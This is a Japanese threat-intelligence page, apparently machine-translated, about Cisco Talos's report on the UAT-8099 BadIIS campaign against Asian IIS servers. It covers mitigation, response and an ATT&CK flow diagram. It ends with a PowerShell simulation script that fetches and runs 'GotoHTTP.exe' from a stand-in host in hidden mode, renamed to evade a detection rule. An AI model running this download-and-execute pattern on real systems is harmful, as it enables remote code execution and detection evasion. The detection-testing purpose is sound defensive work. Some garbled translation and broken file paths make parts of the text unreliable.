フォローする
概要
Cisco Talosは、アジア全域の脆弱なIISウェブサーバーを標的とした新しいUAT-8099キャンペーンを報告しています。このアクターは地域識別子を含むカスタマイズされたBadIISバリアントを展開し、ウェブシェル、PowerShell、GotoHTTPリモートコントロールツールに依存して後続の制御を行います。永続性は、隠しローカルアカウントの作成と管理者活動に溶け込むための正当なレッドチームユーティリティの使用を含むように拡大しました。このトレードクラフトは、以前のWEBJACK操作と重なり、タイとベトナムのサイトに影響を及ぼすSEO詐欺に焦点を当てているようです。
調査
Talosは、DNSテレメトリ、ファイルハッシュ、悪意のあるスクリプトを確認して、侵入の連鎖を再構築しました。アナリストは、SoftEther VPNやEasyTierのようなツールと組み合わせたウェブシェル、Sharp4RemoveLog、CnCrypt Protect、OpenArk64、GotoHTTPを含む一連のカスタムユーティリティを観察しました。IISHijackとasdSearchEngineという地域調整された2つのBadIIS亜種がリバースエンジニアリングされ、ハードコーディングされた国コード、選択的リクエストフィルタリング、XOR暗号化されたC2設定が明らかにされました。VirusTotal上で一致するC2ドメインを持つBadIISのELFビルドも特定されました。
緩和策
公開されたIISの脆弱性を修正し、ウェブアプリケーションファイアウォールの強制を強化し、隠されたローカルアカウント（例: admin$、mysql$など）の作成を監視します。GotoHTTPをダウンロードまたは起動するPowerShellの活動を検出し、既知のC2ドメインへの外部通信をブロックします。特定されたカスタムユーティリティの実行とウェブサーバーディレクトリ内の予期しない変更について、エンドポイント制御を使用して警告します。
対応
インジケーターが発見された場合、サーバーを隔離し、ウェブシェルを削除し、隠しアカウントを削除します。フォレンジック分析のためにBadIISバイナリと関連スクリプトを保存し、C2活動を特定するために完全なネットワークトラフィックのレビューを行います。信頼できる既知のバックアップから復元し、IIS設定を再強化して再感染を防止します。
“graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 %% ノード定義 action_exploit_public_facing[“<b>アクション</b> – <b>T1190 公開前面アプリケーションのエクスプロイト</b><br/><b>説明</b>: インターネット向けアプリケーションの脆弱性を利用して最初のアクセスを得る。<br/><b>詳細</b>: 既知の脆弱性を介してIISサーバーを侵害し、ウェブシェルを展開する。”] class action_exploit_public_facing action tool_web_shell[“<b>ツール</b> – <b>名前</b>: ウェブシェル<br/><b>説明</b>: リモートコマンド実行を可能にするサーバーサイドスクリプト。”] class tool_web_shell tool action_powershell_execution[“<b>アクション</b> – <b>T1059.001 PowerShell</b><br/><b>説明</b>: PowerShellを使用してコマンドやペイロードを実行する。<br/><b>コマンド</b>: whoami、tasklist、ツールのダウンロード。”] class action_powershell_execution action tool_powershell[“<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>説明</b>: Windowsのコマンドラインシェルとスクリプト言語。”] class tool_powershell tool action_system_info_discovery[“<b>アクション</b> – <b>T1082 システム情報の発見</b><br/><b>説明</b>: OSとハードウェア構成を収集する。<br/><b>コマンド</b>: システム情報収集、ユーザーコンテキストログ。”] class action_system_info_discovery action action_create_account[“<b>アクション</b> – <b>T1136 アカウント作成</b><br/><b>説明</b>: 継続性のために隠されたローカルアカウントを作成する。”] class action_create_account action action_valid_accounts[“<b>アクション</b> – <b>T1078 有効なアカウント</b><br/><b>説明</b>: 継続的なアクセスと特権昇格のために作成されたアカウントを使用する。”] class action_valid_accounts action action_clear_event_logs[“<b>アクション</b> – <b>T1070.001 Windowsイベントログの消去</b><br/><b>説明</b>: アクティビティを隠すためにログを削除する。<br/><b>ツール</b>: Sharp4RemoveLogユーティリティ。”] class action_clear_event_logs action tool_sharp4removelog[“<b>ツール</b> – <b>名前</b>: Sharp4RemoveLog<br/><b>説明</b>: Windowsイベントログを削除するユーティリティ。”] class tool_sharp4removelog tool action_disable_event_logging[“<b>アクション</b> – <b>T1562.002 Windowsイベントロギングの無効化</b><br/><b>説明</b>: ロギングをオフにして防御を弱める。”] class action_disable_event_logging action action_obfuscate_files[“<b>アクション</b> – <b>T1027 ファイルまたは情報の難読化</b><br/><b>説明</b>: C2設定とHTMLテンプレートを隠すためにXOR暗号化を使用する（キー0x7A）。”] class action_obfuscate_files action malware_badiis[“<b>マルウェア</b> – <b>名前</b>: BadIIS<br/><b>説明</b>: XOR難読化を用いるバリアント。”] class malware_badiis malware action_lateral_tool_transfer[“<b>アクション</b> – <b>T1570 横方向のツール転送</b><br/><b>説明</b>: 被害者環境にツールやファイルを転送する。<br/><b>ツール</b>: BadIISバイナリ、GotoHTTP、SoftEther VPN、EasyTier。”] class action_lateral_tool_transfer action tool_gotohttp[“<b>ツール</b> – <b>名前</b>: GotoHTTP<br/><b>説明</b>: HTTP/HTTPSを介してファイルを転送する。”] class tool_gotohttp tool tool_softether[“<b>ツール</b> – <b>名前</b>: SoftEther VPN<br/><b>説明</b>: トラフィックをトンネリングするための多段プロキシ。”] class tool_softether tool tool_easytier[“<b>ツール</b> – <b>名前</b>: EasyTier<br/><b>説明</b>: トラフィックをトンネリングするための多段プロキシ。”] class tool_easytier tool action_proxy_multi_hop[“<b>アクション</b> – <b>T1090.003 プロキシ多段プロキシ</b><br/><b>説明</b>: トラフィックの発信元を隠すためにプロキシツールを使用する。”] class action_proxy_multi_hop action action_web_protocol_c2[“<b>アクション</b> – <b>T1071.001 ウェブプロトコル</b><br/><b>説明</b>: HTTP/HTTPSを使ってGotoHTTPでC2を通信する。”] class action_web_protocol_c2 action %% フローを示す接続 action_exploit_public_facing u002du002d>|uses| tool_web_shell tool_web_shell u002du002d>|enables| action_powershell_execution action_powershell_execution u002du002d>|uses| tool_powershell tool_powershell u002du002d>|executes| action_system_info_discovery action_system_info_discovery u002du002d>|leads to| action_create_account action_create_account u002du002d>|enables| action_valid_accounts action_valid_accounts u002du002d>|uses| action_clear_event_logs action_clear_event_logs u002du002d>|uses| tool_sharp4removelog action_clear_event_logs u002du002d>|also| action_disable_event_logging action_disable_event_logging u002du002d>|precedes| action_obfuscate_files action_obfuscate_files u002du002d>|implemented by| malware_badiis malware_badiis u002du002d>|facilitates| action_lateral_tool_transfer action_lateral_tool_transfer u002du002d>|transfers| tool_gotohttp action_lateral_tool_transfer u002du002d>|transfers| tool_softether action_lateral_tool_transfer u002du002d>|transfers| tool_easytier tool_softether u002du002d>|used for| action_proxy_multi_hop tool_easytier u002du002d>|used for| action_proxy_multi_hop action_proxy_multi_hop u002du002d>|supports| action_web_protocol_c2 tool_gotohttp u002du002d>|used in| action_web_protocol_c2 “
攻撃フロー
シミュレーション実行
前提条件：テレメトリーとベースラインプレフライトチェックを通貨していること。
-
攻撃の流れとコマンド:
攻撃者が侵 compromisedされたウェブサーバーに初期の足掛かりを得た。この攻撃者は、IISウェブルートの下にbad_iisという名前の隠しディレクトリを作成し、特注の名前を持つウェブシェルバイナリを配置します。shell_xyz.exe（文字列「ウェブシェル」を避けます）。このシェルを使用して、後でGotoHTTPバイナリをダウンロードするPowerShellペイロードを横方向に実行し、それをsvc_update.exeにリネームして実行します。イメージ名が難読化されているため、元のルールのImage|containsチェックが回避されますが、コマンドラインには「PowerShell」が含まれています。 -
回帰テストスクリプト: このスクリプトは、記述されたステップを再現し、BadIIS攻撃に似たテレメトリーを生成しますが なく ルールが監視している具体的な文字列を使用しています。
# BadIISシミュレーション — 難読化バージョン $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # リネームされたウェブシェル（既知の良性exeのバイナリコピー）のデプロイ $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # ウェブシェルがPowerShellを呼び出してGotoHTTPをダウンロードすることをシミュレート $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # リネームされたウェブシェル経由でPowerShellペイロードを実行（プロセス作成） Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIISシミュレーションが実行されました。" -
クリーンアップコマンド: 配置されたアーティファクトを削除し、環境を復元します。
# BadIISシミュレーションアーティファクトのクリーンアップ $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "クリーンアップ完了。"